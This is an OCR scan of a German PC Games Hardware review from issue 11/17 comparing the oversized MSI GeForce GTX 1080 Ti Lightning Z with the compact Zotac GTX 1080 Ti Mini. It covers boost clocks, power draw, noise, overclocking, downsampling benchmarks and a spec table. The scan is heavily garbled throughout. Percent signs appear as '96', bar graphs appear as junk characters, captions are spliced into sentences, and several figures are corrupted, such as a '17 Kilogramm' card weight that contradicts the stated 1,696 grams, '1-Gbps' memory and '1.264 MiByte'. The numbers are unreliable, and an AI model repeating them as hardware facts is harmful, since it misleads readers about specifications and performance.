GTX 1080 Ti OC – 3240р © 2160р ВЗ 8 47,0 (-56 96) 


RX 580/8G OC – 2160р SSES IISGITIÓ.IRI.GIIIəIIISII 
GTX 1060/66 OC - 3240р @ 2160р В | 19,6 (-55 %) 


RX 580/8G OC - 2160р 8 49,9 (Basis) 
АХ 580/86 OC - 2880р © 2160р ZAH 28,1 (-44 %) 


Overwatch, max. Details, Ingame-AA/16:1 AF - „Dorado” 


GTX 1080 Ti ОС — 2160р IEEE 101,1 (Basis) 
GTX 1080 Ti OC – 3240р © 2160р [8E 48,0 (-53 96) 
GTX 1080 Ti OC – 4320р © 2160р [23] 27,3 (-73 %) 
GTX 1060/66 OC - 2160р ВЭ 41,9 (Basis) 
GTX 1060/66 OC – 3240р @ 2160р EI 19,3 (-54 96) 
GTX 1060/66 OC – 4320р @ 2160р Ñ 4,8 (-89 96) 
АХ 580/86 OC – 2160р ЗЫ] 38,9 (Basis) 
RX 580/8G OC - 2880р © 2160р IB] 22,0 (-43 %) 


Bioshock Infinite, Ingame-AA/16:1 AF — „New Eden" 
GTX 1080 Ti OC -2160p SSEEƏG$CIIIIIGIQIIGƏGIGIGIZ. (Basis) 


GTX 1080 Ti OC — 3240р © 2160р [C48] 47,5 (-51 96) 
GTX 1080 Ti OC — 4320р © 2160р В 59| 27,9 (-71 %) 
GTX 1060/6G OC – 2160р IIS 41,1 (Basis) 
GTX 1060/6G OC – 3240р @ 2160р ВТЗ |19,1 (-54 96) 
GTX 1060/66 OC – 4320р @ 2160р | 1,5 (-96 96) 
АХ 580/86 OC – 2160р ВЕ | 39,2 (Basis) 
RX 580/86 OC – 2880р @ 2160р ZU] 22,0 (-44 %) 


The Witcher 3, Ingame-AA/AF, kein Gameworks – „Boat Trip" 


GTX 1080 Ti ОС – 2160р SSII PFPGREEESI 68,8 (Basis) 
GTX 1080 Ti OC — 3240р @ 2160р [5311] 33,5 (-51 96) 
GTX 1080 Ti OC – 4320р @ 2160р В 19,9 (-71 96) 
GTX 1060/6G OC – 2160р В 28,0 (Basis) 
GTX 1060/66 OC — 3240р @ 2160р | 13,5 (-52 96) 
GTX 1060/6G OC — 4320р @ 2160p 718,0 (-71 96) 
АХ 580/86 OC - 2160р В 9 | 27,2 (Basis) 
АХ 580/86 OC – 2880р © 2160р DEI 16,2 (-40 %) 


Far Cry: Primal, TAA/Ingame-AF – , Sunrise" 


GTX 1080 Ti OC – 2160р SESI IF=GHSIGTI$HƏÜHIG=IIIIXIIFNUUOIXI)I 

GTX 1080 Ti OC — 3240р @ 2160р ВЕ 0 | 31,8 (-47 96) 
GTX 1080 Ti OC – 4320р @ 2160р LI 19,2 (-68 96) 

GTX 1060/6G OC – 2160р В 231] 25,6 (Basis) 
GTX 1060/66 OC — 3240р @ 2160р | 12,8 (-50 %) 
GTX 1060/66 OC – 4320р @ 2160р 3 3,4 (-87 96) 

АХ 580/86 OC - 2160р В 1 25,5 (Basis) 
RX 580/86 ОС – 2880р @ 2160р [l| 15,9 (-38 %) 


Rise of the Tomb Raider (DX12), „Sehr hoch”, SMAA/16:1 АЕ – „Geo Valley” 


GTX 1080 Ti OC – 2160р IGI 56, 1 (Basis) 
GTX 1080 Ti OC — 3240р @ 2160р RAIN 27,3 (-51 96) 
GTX 1080 Ti OC — 4320р @ 2160p MAI] 14,5 (-74 %) 
GTX 1060/6G OC — 2160р ЩЙ 22,9 (Basis) 
GTX 1060/6G 0C — 3240p @ 2160p Ë 2,3 (-90 %) 
GTX 1060/66 OC — 4320р @ 2160р | 0,8 (-97 %) 
АХ 580/86 ОС-2160р 024,0 (Basis) 
RX 580/86 OC — 2880р @ 2160р 81| 14,4 (-40 96) 


Deus Ex: Mankind Divided (DX11), ТАА/16:1 АЕ — ,,Prague” 


GTX 1080 Ti OC – 2160р ISI] 54,6 (Basis) 
GTX 1080 Ti OC — 3240р @ 2160р В 9 26,7 (-51 96) 
GTX 1080 Ti OC — 4320р @ 2160р [|| 15,6 (-71 96) 
GTX 1060/6G OC — 2160р | 23,4 (Basis) 
GTX 1060/66 OC – 3240р @ 2160р [89,4 (-60 96) 
GTX 1060/6G OC – 4320р @ |0,9 (-96 %) 
АХ 580/86 OC - 2160р В| 23,0 (Basis) 
АХ 580/8G OC – 2880р @ 2160р Й | 13,1 (-43 96) 


System: Core i7-6800K @ 4,4 GHz (Ring/L3: 3,6 GHz), MSI X99A Tomahawk, 4 х 8 GiByte Corsair DDR4-3000 (1T); Windows 10 x64 Geforce 382.33 WHQL, Radeon Software 17.5.2 Non-WHQL 
Bemerkungen: 8K-DSR führt in Doom zu Blackscreens, daher nicht abgedruckt. Taktraten: GTX 1080 Ti @ -2.000/6.000 MHz, GTX 1060 @ -2.100/4.500 MHz, RX 580 @ 1.500/4.400 MHz 
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Spezielle Ti-tanen 


Nvidias Geforce GTX 1080 Ti ist nach wie vor ohne Konkurrenz. Diesen Monat sehen wir uns zwei 


besondere Varianten der High-End-Karte an: eine besonders kleine und eine besonders mächtige. 


und acht Monate sind seit dem 

Start der Geforce GTX 1080 Ti 
vergangen. Die Treiber sind gereift, 
die Preise leicht gefallen und dank 
emsiger Boardpartner kann sich 
die Modellvielfalt sehen lassen. Ein 
Blick in den PCGH-Preisvergleich 
(preisvergleich.pcgameshardware. 
de) offenbarte im September 54 
verschiedene Modelle der kräfti- 
gen Nvidia-Grafikkarte, die meisten 
davon flächendeckend lieferbar. 


13 stark unterschiedliche Karten- 
designs haben den PCGH-Hirtetest 
in den vergangenen Monaten ab- 
solviert. Der nun vor Ihnen liegen- 
de Artikel ergänzt das Ensemble an 
beiden Enden durch zwei ganz spe- 
zielle Modelle. 


40 PC Games Hardware | 11/17 


Mini und Maxi 

Das Dasein als Boardpartner - das 
sind die Firmen, die bei AMD und 
Nvidia die Grafikchips und auch 
den dazu passenden Speicher ein- 
kaufen - ist nicht immer einfach. 
Boardpartner sind darauf ange- 
wiesen, dass neue Grafikeinheiten 


erscheinen und dass diese auf Ak- 
zeptanz bei den Kunden stoßen. Ist 
das der Fall, liegt es nahe, eigene 
Designs auf Basis besagter Grafik- 
einheiten zu entwerfen. Doch das 
darf nur innerhalb bestimmter Re- 
geln geschehen und manche Gra- 
fikkarten sind sogar vom Eigenbau 


Auf dem Datentráger 

der DVD-Heftversion 

finden Sie das komplette 
Nachschlagewerk in Sachen 
Geforce GTX 1080 Ti in Form 


der Vergleichstests aus der PCGH 06/2017 
und 08/2017. Weitere Werte gibt's im Ein- 


kaufsführer weiter hinten in dieser Ausgabe. 


ausgeschlossen - Titan Xp und Ra- 
deon RX Vega Frontier Edition, um 
zwei aktuelle Beispiele zu nennen. 


Die Geforce GTX 1080 Ti hingegen 
ist erstens sehr beliebt und zwei- 
tens zur Verwandlung freigege- 
ben. Die Partner kónnen mit dem 
GP102-Chip folglich machen, was 
sie wollen, und das führt zu der 
begrüfsenswerten Vielfalt am Gra- 
fikkartenmarkt. Unsere neuesten 
Probanden runden das Angebot 
oben und unten ab - nicht nur bei 
der Leistung, sondern auch bei den 
Maßen. Dieser Artikel widmet sich 
sowohl der kleinsten als auch der 
mächtigsten Geforce GTX 1080 Ti, 
namentlich Zotac Mini und MSI 
Lightning Z. 
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Wenn Welten aufeinander treffen: Während die kleinsten Grafikkarten, hier eine Asus Geforce GT 630 im Low-Profile-Format und Passivkühlung, sogar unter der 14-Zen- 
timeter-Marke bleiben, lässt sich das absolute High End nicht derart schrumpfen. AMDs Radeon R9 Nano (2. von links) zeigt, was dank HBM möglich ist, während die 
Zotac GTX 1080 Ti Mini die minimale Größe einer GP102-Grafikkarte zeigt. MSI (ganz rechts) sprengt hingegen alle Dimensionen. Zwischen ihnen: das Ti-Referenzdesign. 


MSI Geforce GTX 1080 Ti Lightning 
Z: Die Krone der Schópfung. Be- 
ginnen wir beim oberen Ende. 
Dort ist seit der Urversion im Jahr 
2009 die Lightning-Serie von MSI 
zu Hause. Sie zielt von Anbeginn 
auf Extrem-Übertakter und somit 
prestigeträchtige Takt-Weltrekorde 
ab. Um dies zu erreichen, setzt der 
Hersteller auf hochwertige Bau- 
teile im Rudel - so sehr, dass die 
Platinen für Otto Normalspieler 
und Hobby-Übertakter überdimen- 
sioniert sind. Das bedeutet nicht, 
dass Lightning-Grafikkarten im All- 
tag nutzlos sind, denn seit einigen 
GPU-Generationen regiert auch bei 
den werkseitig installierten Luft- 
kühlern Größenwahn - im positi- 
ven Sinne für alle Spieler, die über 
ein geräumiges Gehäuse verfügen. 


Der neueste Streich aus den MSI- 
Laboren hórt auf den Namen GTX 
1080 Ti Lightning Z. Man sieht dem 
Koloss an, dass er die Leistungs- 
spitze des markiert: 
Mit einer Länge von beinahe 32 
Zentimetern, einer Bauhóhe von 
drei Slots (5,4 Zentimeter) und 
einem Kampfgewicht von rund 


Portfolios 
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17 Kilogramm zihlt sie zu den 
wuchtigsten Grafikkarten, die wir 
je getestet haben. Alle leistungsre- 
levanten Parameter sind entweder 
groß oder zahlreich. Zwar war es 
MSI nicht erlaubt, die Anzahl der 
Rechenwerke oder die Speicher- 
kapazität zu erhöhen, wohl aber 
die Ausführungsgeschwindigkeit: 
1.582 MHz Basis- und 1.391 (5.562) 
MHz Speichertakt stehen im BIOS, 
rund sieben bzw. ein Prozent mehr 
als bei der Founders Edition (1.480 
bzw.1.377 respektive 5.508 MHz). 


Diese garantierten Werte sind in 
der Praxis jedoch kaum von Rele- 
vanz, denn dort wirkt der dynami- 
sche GPU-Boost. Hier kann die dank 
ihres hohen Powerlimits von 300 
Watt und der starken Kühlung ihre 
Muskeln spielen lassen: Während 
MSI offiziell 1.696 MHz angibt und 
sich damit für alle Eventualitäten 
absichert, rechnet unser Muster 
selbst im Ernstfall mit 1.911 MHz 
und in der Regel mit 1.949 bis 1.962 
MHz. Das ist exzellent und auf Au- 
genhöhe mit der Zotac GTX 1080 
Ti Extreme, mit der sich die Light- 
ning Z in den Benchmarks stets 


duelliert. Zum Vergleich: Setzt man 
Nvidias Founders Edition unserem 
Watt-Worstcase Anno 2070 aus, fällt 
sie auf bis zu 1.550 MHz, da sowohl 
der Kühler als auch das Powerlimit 
nicht ausreichen. MSI hat mit den 
standardmäßigen 300 Watt, 20 Pro- 
zent mehr als bei der Referenzkarte, 
einen guten Mittelweg gefunden, 
der die Energieeffizienz nur leicht 
verwässert. Nehmen wir erneut 
das Beispiel Anno 2070, erzielt die 
Lightning Z einen um 23 Prozent 
höheren Boost bei 35 Prozent hö- 
herer Leistungsaufnahme - 
gemessen steht es 310 zu 230 Watt. 
Die Lightning Z „peakt“ folglich oft 
leicht über ihr Powerlimit, sodass 
Mittelwerte über 300 Watt heraus- 
kommen. Die Last auf dem PEG-Slot 
ist dabei minimal, hier fließen gera- 
de einmal elf Watt. Mehr wäre im 
Angesicht der drei(!) zum Betrieb 
notwendigen 8-Pol-Strombuchsen 
auch verwunderlich. Doch die 


real 


Lightning Z verbraucht nicht im- 
mer so viel Energie, bei Teillast sind 
geringere Werte zu verzeichnen. In 
Crysis 3 unter Full HD beläuft sich 
die Leistungsaufnahme beispiels- 
weise auf 265 Watt. 


Unter dem Strich lässt sich sagen, 
dass das Powerlimit der Karte in 
beinahe allen Szenarien genügt, da- 
mit sie sich selbst ausreizen kann. 
Daran hat der mächtige Kühler 
einen großen Anteil, denn hohe 
Temperaturen sind, neben dem 
Powerlimit, der zweite Feind des 
Nvidia-GPU-Boosts. Раѕса!-Сһірѕ 
senken bei mehreren Temperatur- 
Schwellenwerten ihren Boost und 
die korrespondierende Spannung 
um eine Stufe ab, ohne dass der 
Nutzer etwas daran ändern kann. 
Drastischere Drosselungsschritte 
werden jedoch erst bei etwa 84 °C 
unternommen, da hier das Tempe- 
raturlimit lauert. 


Auch die Lightning Z senkt ihren 
Boost infolge steigender Tempe- 
ratur leicht, zwischen Spielstart 
und Dauerlast liegen rund 50 MHz. 
Das Temperaturlimit als solches 
sieht die GPU aber niemals, unser 
Sample erreicht höchstens 67 °C. 
Die drei Axiallüfter - daher der 
Name „TriFrozr“ - arbeiten dann 
mit 54 Prozent ihrer Maximalleis- 
tung, was rund 1.400 Umdrehun- 
gen pro Minute entspricht. Auf dem 
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Weg dorthin gibt sich der einzige 
Kritikpunkt an der Lightning Z zu 
erkennen. Im Leerlauf, ohne Last, 
stehen die Lüfter der Karte still, 
womit sie lautlos ist. Startet man 
k ein anspruchsvolles Spiel, steigt die 
МЯ Afterburner properties x Temperatur relativ schnell an, was 
mam LU. die Lüftersteuerung zum Hochfah- 

ren des PWM-Signals treibt. Wäh- 

rend der Tests kam es sporadisch 
vor, dass die Lüfter nicht langsam 


ec. HS 


anlaufen, wie es vorgesehen ist, 
sondern bis zu einem bestimmten 
Punkt „hängen“ - und dann abrupt, 
mit circa 2.300 bis 2.400 Umdre- 
hungen pro Minute, losrasen und 
in den folgenden Sekunden auf 
circa 1.000 U/Min. heruntergehen. 
Die Folge dieses Fehlverhaltens ist 
eine kurzzeitige Lautheit von bis zu 
Die Mal GTX 1080 Ti Lightning Z trägt zusätzliche Temperatursensoren, die sich mittels Afterburner anzeigen lassen — auf Wunsch 7,5 Sone (lautmalerische Charakte- 
auch im On-Screen-Display. Im Bild sehen Sie den Hexer in 6K-Auflösung ohne Gameworks, befeuert von einer mit Luftkühlung ristik: „wrrruUUUummm“‘“), bis die 
ausgereizten Lightning Z (maximal nutzbarer Takt mit aufgezogenen Spannungen, benchmarkstabil). Lüfter die vorgesehene Drehzahl 
erreicht haben. Dabei sind dann 
maximal 2,0 Sone zu verzeichnen, 


was für eine Grafikkarte dieser 
Leistungsklasse beachtlich wenig 
und insgesamt gut ist. 


Das starke Kühldesign, das wir auf 
der letzten Seite dieses Artikels im 
Detail zeigen, lädt geradezu zum 
Übertakten ein. Hierbei ist das 
Afterburner-Tool besonders hilf- 
reich, da es eine neue Funktion 
der Lightning Z ansprechen kann: 


Il NNDO 
"h — 


es SS, axi | Quadruple Overvoltage. Dahinter 

vz | — = steckt die Fähigkeit, vier Spannun- 
- ы t. gen zu beeinflussen, und nicht nur 
die des Grafikprozessors. Während 
Größenvergleich der Zotac Mini (Gewicht: 786 Gramm) und der MSI Lightning Z (1.696 Gramm) von der Oberseite: Es ist offen- die beiden Versorgungsspannun- 


sichtlich, dass die Design-Ziele der beiden Hersteller komplett gegensätzlich sind. gen Aux und Aux2 nur für Extrem- 


MSI Lightning Z und Zotac Mini: Taktverlauf über 15 Minuten Volllast 


Geforce GTX 1080 Ti: Taktverläufe in Anno 2070 (Ultra HD) 


2.200 
E Zotac GTX 1080 Ti Mini (Boost-Mittelwert 1.710 MHz) W Zotac GTX 1080 Ti Mini — max. Powertarget/Spannung/Lüfter (Boost-Mittelwert 1.811 MHz) 
2.100 Bi Mal GTX 1080 Ti Lightning Z (Boost-Mittelwert 1.911 MHz) Æ MSI GTX 1080 Ti Lightning Z — max. Powertarget/Spannung/Lüfter (Boost-Mittelwert 1.989 MHz) 
Bi Nvidia GTX 1080 Ti Founders Edition (Boost-Mittelwert 1.582 MHz) 
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System: Core i7-6800K @ 4,4 GHz (Ring/L3: 3,6 GHz), X99, 4 x 8 GiByte DDR4-3000 (1T); Windows 10 x64 Bemerkungen: Der mittlere Takt der Zotac Mini liegt um acht Prozent höher als bei der Founders Edition (1.710 statt 
1.582 MHz), der der MSI Lightning Z sogar um 21 Prozent (1.911 MHz). Mit ausgereizten Limits steigt der Takt um sechs (Zotac) respektive vier Prozent (MSI) — die Lightning ist folglich geringer limitiert. 
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Übertakter interessant sind, hilft 
die Speicherspannung auch Hobby- 
Tunern. Dabei sind enge Grenzen 
gesetzt, die Speicherspannung darf 
um maximal 50 Millivolt erhóht 
werden, von 1,375 auf 1,425 Volt. 


Die im wahrsten Sinne des Wortes 
„spannenden“ Optionen befähigen 
unser Lightning-Muster zu beein- 
druckenden Overclocking-Ergeb- 
nissen. Mit 100 Prozent Spannung 
und dem maximalem Powerlimit 
von 116 Prozent (entspricht 350 
Watt) hält die Karte nach der Auf- 
heizphase 2.050/6.200 MHz (GPU/ 
RAM), ohne Anzeichen von Insta- 
bilität zu zeigen. Da wir den Takt 
mittels The Witcher 3 in Ultra HD 
inklusive Gameworks-Effekten ab- 
klopfen, kann man von einem fel- 
senfesten Ergebnis sprechen. Eine 
um 50 Millivolt erhöhte Speicher- 
spannung macht 6.300 MHz Spei- 
chertakt ohne Grafikfehler nutzbar. 
Sogar 6.400 MHz können wir, mit 
sporadischen Artefakten, 
Wir haben die benchmarkstabilen 
Frequenzen mit 100 Prozent Lüf- 
terleistung in den Balkenvergleich 
zur Rechten aufgenommen, um die 
Leistungsgewinne zu veranschauli- 


testen. 


chen. Wie Sie sehen, ist ausgehend 
vom Werkszustand knapp unter 
2 GHz nicht mehr viel zu holen, 
wobei ein effektiver Speichertakt 
jenseits von 6.000 MHz in vielen 
anderen Spielen hilfreich ist. 


Wer das sekundäre BIOS der Karte 
(„LN2“) aktiviert, kann das maxima- 
le Powerlimit auf 375 Watt setzen. 
Die dann abgegebene Wàrme ist je- 
doch enorm und lässt sich nur mit- 
hilfe einer erhóhten Lüfterdrehzahl 
hinfortschaffen. Betreiben Sie die 
Lightning Z mit 75 Prozent Lüfter- 
leistung, entspricht die Lautheit 4,6 
Sone (rund 1.950 U/Min), mit 100 
Prozent sogar 8,7 Sone (rund 2.550 
U/Min). Wer nicht übertaktet, kann 
den kráftigen Kühler hingegen 
nutzen, um damit echte Silent- 
Sphären zu erreichen. Ein gesenk- 
tes Powerlimit oder Undervolting 
mittels Kurveneditor - drücken Sie 
dazu im Afterburner-Hauptfenster 
die Tastenkombination Strg + F - 
macht geringe Drehzahlen nutzbar. 
Mit 40 Prozent manuell gesetztem 
PWM-Impuls rotieren die Lüfter 
nur etwas mehr als 1.000 Mal pro 
Minute, was zu einer Lautheit von 
0,8 Sone führt. Fazit: Mächtig in je- 
der Hinsicht - auch beim Preis. 
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Zotac Geforce GTX 1080 Ti Mini: 
Kampfzwerg mit kleinen Mängeln. 
Unser zweiter Proband in diesem 
Monat bildet den Gegenpol zur 
Lightning Z. Während die MSI- 
Karte alles daran setzt, groß und 
mächtig zu sein, bedient Zotac mit 
der Geforce GTX 1080 Ti Mini die 
Freunde kompakter (Wohnzim- 
mer-)Computer. Das sogenannte 
Couch-Gaming, bei dem ein star- 
ker PC als Konsolen-Ersatz dient, 
erfreut sich offenbar wachsender 
Beliebtheit. Damit die Grafikleis- 
tung auf engem Raum nicht zu kurz 
kommt, sind effiziente Lösungen 
ein Muss. 


Zotac hat die Geforce GTX 1080 
Ti als erster Hersteller erfolgreich 
auf eine Länge von 21,1 Zentime- 
ter geschrumpft. Wie Sie der Gra- 
fik auf Seite 2 dieses Artikels ent- 
nehmen, ist der Unterschied zur 
Nvidia-Referenzkarte beachtlich, 
diese misst 26,7 cm. Die anderen 
Herstellerdesigns bewegen sich 
zwischen 26,9 (Inno 3D Twin X2) 
und 30,2 cm (Inno 3D iChill X3) 
- mit der Lightning Z als 31,9-cm- 
Ausnahme. Wer eine noch kleinere 
Grafikkarte sucht, beispielsweise 
um sie in ein ultrakompaktes Mi- 
ni-ITX-Gehäuse zu stecken, muss 
sich eine Leistungsklasse darunter 
umsehen. Die GTX 1080 und GTX 
1070 werden von einigen Herstel- 
lern als 17-Zentimeter-Varianten 
angeboten. 


Doch zurück zur GTX 1080 Ti. Zo- 
tacs Schrumpfkur ist konsequent, 
denn die Mini-Ti ist nicht nur kurz, 
ihr Kühler begnügt sich auch mit 
3,5 cm Höhe, was zwei Slots auf 
dem Mainboard entspricht. Auf der 
Suche nach Fläche greift der Her- 
steller auf einen beliebten Trick zu- 
rück: Die Platine ist nicht nur rund 
10 (wie bei allen Referenzkarten), 
sondern 11 Zentimeter breit. Im 
eingebauten Zustand ragt die Karte 
folglich etwas näher an die Gehäu- 
sewand heran. Bei den meisten Ge- 
häusen steht hier ausreichend Platz 
zur Verfügung, während es in den 
anderen Dimensionen mangelt. 
Mini-PC-Nutzer oder solche, die es 
werden wollen, sollten beim Kauf 
der Komponenten besonderes Au- 
genmerk auf die Innenmaße des 
Gehäuses legen, denn oft wird das 
Volumen und somit auch der Gra- 
fikkartenplatz durch Lüfter oder 
Festplattenkäfige reduziert. 


Leistung in Ultra-HD-Auflösung 


The Witcher 3, kein Gameworks, Ingame-AA/16:1 AF - „Boat Trip" 


Lightning Z @ 2.076/6.400 MHz * 63,2 (+25 %) 
GTX 1080 Ti @ -2.075/6.200 MHz 562,1 (+22 %) 
GTX 1080 Ti @ -2.000/5.800 MHz = E 59,7 (+18 %) 
MSI GTX 1080 Ti Lightning 7 58,5 (+15 %) 
Zotac GTX 1080 Ti AMP! Extreme ES 58,1 («15 %) 
EVGA GTX 1080 Ti FTW3 Gaming EEE 57 7 (+14 %) 
Inno 3D GTX 1080 Ti iChill ХЗ Ultra EEE 57,6 (4-14 96) 
MSI GTX 1080 Ti Gaming X r 57,0 (+12 96) 
MSI GTX 1080 Ti Armor OC w 56,7 (+12 96) 
Asus GTX 1080 Ti Strix ОС MEEA 56,6 (+12 96) 
Gigabyte GTX 1080 Ti Aorus Xtreme 356,5 (+11 96) 
Caseking GTX 1080 Ti Custom Loop =a 55,5 (+9 96) 
EVGA GTX 1080 Ti SC2 Gaming ME 55,4 (+9 96) 
Palit GTX 1080 Ti Super Jetstream [sat 55,2 (49 90) 
KFA2 GTX 1080 Ti EXOC ВН 54,9 (+8 96) 
Zotac GTX 1080 Ti Mini 54,5 (+7 96) 
Inno 3D GTX 1080 Ti Twin X2 = a 54,2 (+7 96) 
Nvidia Titan Xp = 54,1 (+7 96) 
Nvidia Geforce GTX 1080 Ti cgi 50,7 (Basis) 
Nvidia Titan X (Pascal) Egit 50,1 (-1 96) 
Nvidia Geforce GTX 1080 Essi 40,4 (-20 96) 
Nvidia Geforce GTX 1070 Egit 31,3 (-38 %) 
AMD Radeon R9 Fury X Eg 30,7 (-39 96) 
Nvidia Geforce GTX 980 Ti E381 29,4 (-42 96) 
Nvidia Geforce GTX 980 3st 24,0 (-53 96) 
AMD Radeon RX 580 att 22,6 (-55 96) 
Nvidia Geforce GTX 1060 aor 22,0 (-57 96) 
AMD Radeon RX 480 |i 21,9 (-57 96) 
AMD Radeon R9 390X [9m 21,1 (-58 96) 
Nvidia Geforce GTX 780 Ti 911 20,4 (-60 %) 
AMD Radeon RX 570 [igit 19,7 (-61 96) 
Nvidia Geforce GTX 970 [811 19,3 (-62 96) 
AMD Radeon R9 290X E811 19,3 (-62 96) 
Nvidia Geforce GTX Titan [81] 18,9 (-63 96) 
AMD Radeon RX 470 Emm 18,8 (-63 96) 
AMD Radeon R9 390 [mi 18,4 (-64 96) 
AMD Radeon R9 290 [611 17,4 (-66 96) 
Nvidia Geforce GTX 780 ШЕ] 17,1 (-66 96) 
AMD Radeon R9 280X [att 15,6 (-69 96) 
Nvidia Geforce GTX 770 E311 144 (-72 96) 


System: Core i7-6800K @ 4,4 GHz (Ring/L3: 3,6 GHz), X99, 4 x 8 GiByte DDR4-3000 
(17); Windows 10 x64 Bemerkungen: Messungen der 1080-Ti-Herstellerdesigns erst 
nach Aufheizperiode, um realistische Boosts zu erhalten. *Nicht rock-, aber benchtable! 
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Das Zubehör der Lightning Z umfasst eine mattschwarze Triple-Slot-Blende — das 


hohe Gewicht der Grafikkarte kann zusätzliche Stabilisierung vertragen. 
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GRAFIKKARTEN | GTX 1080 Ti: Spezialkarten im Test 


Da der verfügbare Platz nicht für 
zwei  100-Millimeter-Lüfter 
reicht, installiert Zotac einen sol- 
chen und einen 90-mm-Kollegen, 
wobei sich der große um den 
hinteren Teil der Platine inklusive 
der hitzigen Spannungswandler 
kümmert. Das Design wirkt durch- 
dacht und leistungsfähig: Der ein- 
teilige Radiator verfügt über eine 
Kupferkontaktplatte zur GPU, die 
von fünf Heatpipes durchzogen 
wird, Speicher und Spannungs- 
wandler werden ebenfalls bedeckt 
- Hotspots sind somit nicht zu er- 
warten. 


aus- 


Die TDP der GTX 1080 Ti Mini ist 
die gleiche wie bei der Founders 
Edition, 250 Watt; Zotac gibt ihr je- 
doch eine milde Übertaktung mit 
auf den Weg. Unsere Tests ergeben, 
dass dieses Tuning in Kombination 
mit dem ordentlichen Kühler ein 
Leistungsplus von rund zehn Pro- 
zent gegenüber der Referenzkarte 
zur Folge hat. Der automatische 
GPU-Boost unseres Musters liegt 
bei mindestens 1.709 MHz (Anno 
2070 in Ultra HD). Bei weniger 


anspruchsvollen Einstellungen 
und Spielen ist mit mindestens 
1.800 MHz zu rechnen, wobei der 
Boost von Grafikkarte zu Grafik- 
karte unterschiedlich ausfällt. Die 
Leistungsaufnahme beträgt laut 
unseren Messungen immer etwas 
mehr als 250 Watt, da die Karte im 
Gegensatz zur Founders Edition 
nur in Teilzeit an das Temperatur- 
limit gelangt; die GPU-Temperatur 
beträgt unter Dauerlast zwischen 
82 und 83 °C. Insgesamt fällt die 
Energieeffizienz genauso gut aus 
wie bei der Referenzkarte. 


Der kleine Kühler ist folglich in der 
Lage, die Abwärme zu bändigen, al- 
lerdings mit einer Nebenwirkung: 
Was die Geräuschemission angeht, 
muss sich Zotac Kritik gefallen las- 
sen. Unter Volllast sind aufgrund 
der physikalischen Limits keine 
Wunder zu erwarten: Die maxi- 
male Lautheit beträgt 4,0 Sone bei 
rund 2.000 Lüfterumdrehungen 
pro Minute. Wer das Powerlimit 
der Grafikkarte mithilfe von Tools 
senkt oder die GPU undervoltet, 
der kann hier hörbare Gewinne 


TOP-TECHNIK 


einfahren. Das Surren der Mini- 
Ti ist somit vergleichbar mit der 
Lautheit der Founders Edition, al- 
lerdings fällt es höherfrequent aus, 
während das Nvidia-Kühldesign 
tief rauscht. Unverständlich ist hin- 
gegen die Geräuschkulisse der Mi- 
ni-Karte im Leerlauf: Zotac verzich- 
tet auf eine semi-aktive Belüftung, 
sodass die beiden Propeller selbst 
auf dem Desktop mit 1.380 U/ 
Min arbeiten. Das erzeugte Surren 
führt zu einer 1,6 auf der Sone-Ska- 
la und ist somit fast halb so laut wie 
der Zustand unter Volllast - bei nur 
30 *C Kerntemperatur. Unsere Ver- 
suche, die Lüftersteuerung mithil- 
fe einer manuellen Ansteuerungs- 
kurve unter ihr Minimum von 44 
Prozent PWM-Impuls zu drücken, 
scheiterten; die Karte bootet mit 
1,6 Sone Lautheit und verweilt auf 
diesem Niveau bei allen anspruchs- 
armen Aufgaben (Internetbrow- 
sing, Videowiedergabe etc.). Somit 
ist die kleinste GTX 1080 Ti nichts 
für Freunde der Stille. 


Eine Übertaktung der Mini-Grafik- 
karte ist móglich, aber aufgrund 


der Kühlergroße nicht sinnvoll. 
Zotac bannt das gleiche Powerlimit 
ins BIOS wie Nvidia, Sie dürfen die 
Kleine daher mit 120 Prozent be- 
ziehungsweise 300 Watt betreiben. 
Das führt wiederum zu erhóhter 
Geräuschemission, allerdings 
der Winzling dann mitunter in der 
Lage, den Hexer mit rund 1,9 GHz 
zu befeuern. Zur Orientierung: Mit 
67 Prozent Lüfterleistung werden 
besagte 4,0 Sone erreicht, mit 75 
Prozent - die für eine Übertaktung 
mit 300 Watt nótig sind - steigt die 
Lautheit auf 4,9 Sone und mit 100 
Prozent sind es 8,6 Sone. (rv) 


Fazit Нагішаге 


1080-Ti-Spezialkarten 

Mini gegen Maxi: Zwar sind die Ergeb- 
nisse der Probanden direkt vergleich- 
bar, aufgrund der völlig verschiedenen 
Einsatzgebiete ist der Vergleich je- 
doch nicht fair. Im Vergleich mit der 
Nvidia-Vorlage bieten beide Modelle 
spezifische Vorteile. Weitere Hersteller- 
designs auf Basis der GTX 1080 Ti fin- 
den Sie im Einkaufsführer. 


ist 
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Auszug aus Testtabelle 
mit 21 Wertungskriterien 


Produktname 
Hersteller/Webseite 


GTX 1080 Ti Lightning Z 


Hardware ` 


IN) 
D- Ф m 


GTX 1080 Ti Lightning Z 
MSI (http://de.msi.com) 


GTX 1080 Ti Mini 


Zotac (www.zotac.com) 


GTX 1080 Ti Founders Edition 


Nvidia (www.nvidia.de) 


Ca.-Preis/Preis-Leistungs-Verhältnis 
PCGH-Preisvergleich 
2D-Takt GPU/RAM (Spannung) 


Ca. € 990,-/mangelhaft 


Ca. € 690,-/ausreichend 


Ca. € 750,-/ausreichend 


www.pcgh.de/preis/1649272 


www.pcgh.de/preis/1638562 


www.pcgh.de/preis/1587598 


39/405 MHz (0,650 VGPU) 


139/405 MHz (0,687 VGPU) 


139/405 MHz (0,650 VGPU) 


3D-Basis-/Boosttakt GPU/RAM (Übertaktung) 
‚Ausstattung (20 %) 
Speichermenge/Anbindung 


.582 (Boost: 1.911+)/1.391 MHz (+23/+1 % OC) 
2,15 
1.264 MiByte (352 Bit) 


1.506 (Boost: 1.709+)/1.377 MHz (+10/0 % OC) 
2,10 
11.264 MiByte (352 Bit) 


1.480 (Boost: 1.550-)/1.377 MHz (kein ОС) 
2,33 
11.264 MiByte (352 Bit) 


Speicherart/Hersteller 


1-Gbps-GDDR5X (Micron MT58K256M321-JA110 @ 1,375V) 


11-Gbps-GDDR5X (Micron MT58K256M321-JA110) 


11-Gbps-GDDR5X (Micron MT58K256M321-JA110) 


Monitoranschlüsse 


2 x Displayport (1.4-ready), 2 x HDMI 2.0b, 1 x DVI-D 


3 x Displayport (1.4-ready), 1 x HDMI 2.0b, 1 x DVI-D 


3 x Displayport (1.4-ready), 1 x HDMI 2.0b 


Kühlung її Frozr, Triple Slot, 5 Heatpipes (2 x 8, 4 x 6 тт), 2 x 95 + |Eigendesign, Dual-Slot, 5 Heatpipes à 6 mm, 1 x 100 mm + — |Referenzdesign (Direct Heat Exhaust), Dual-Slot, Vollverschalung 
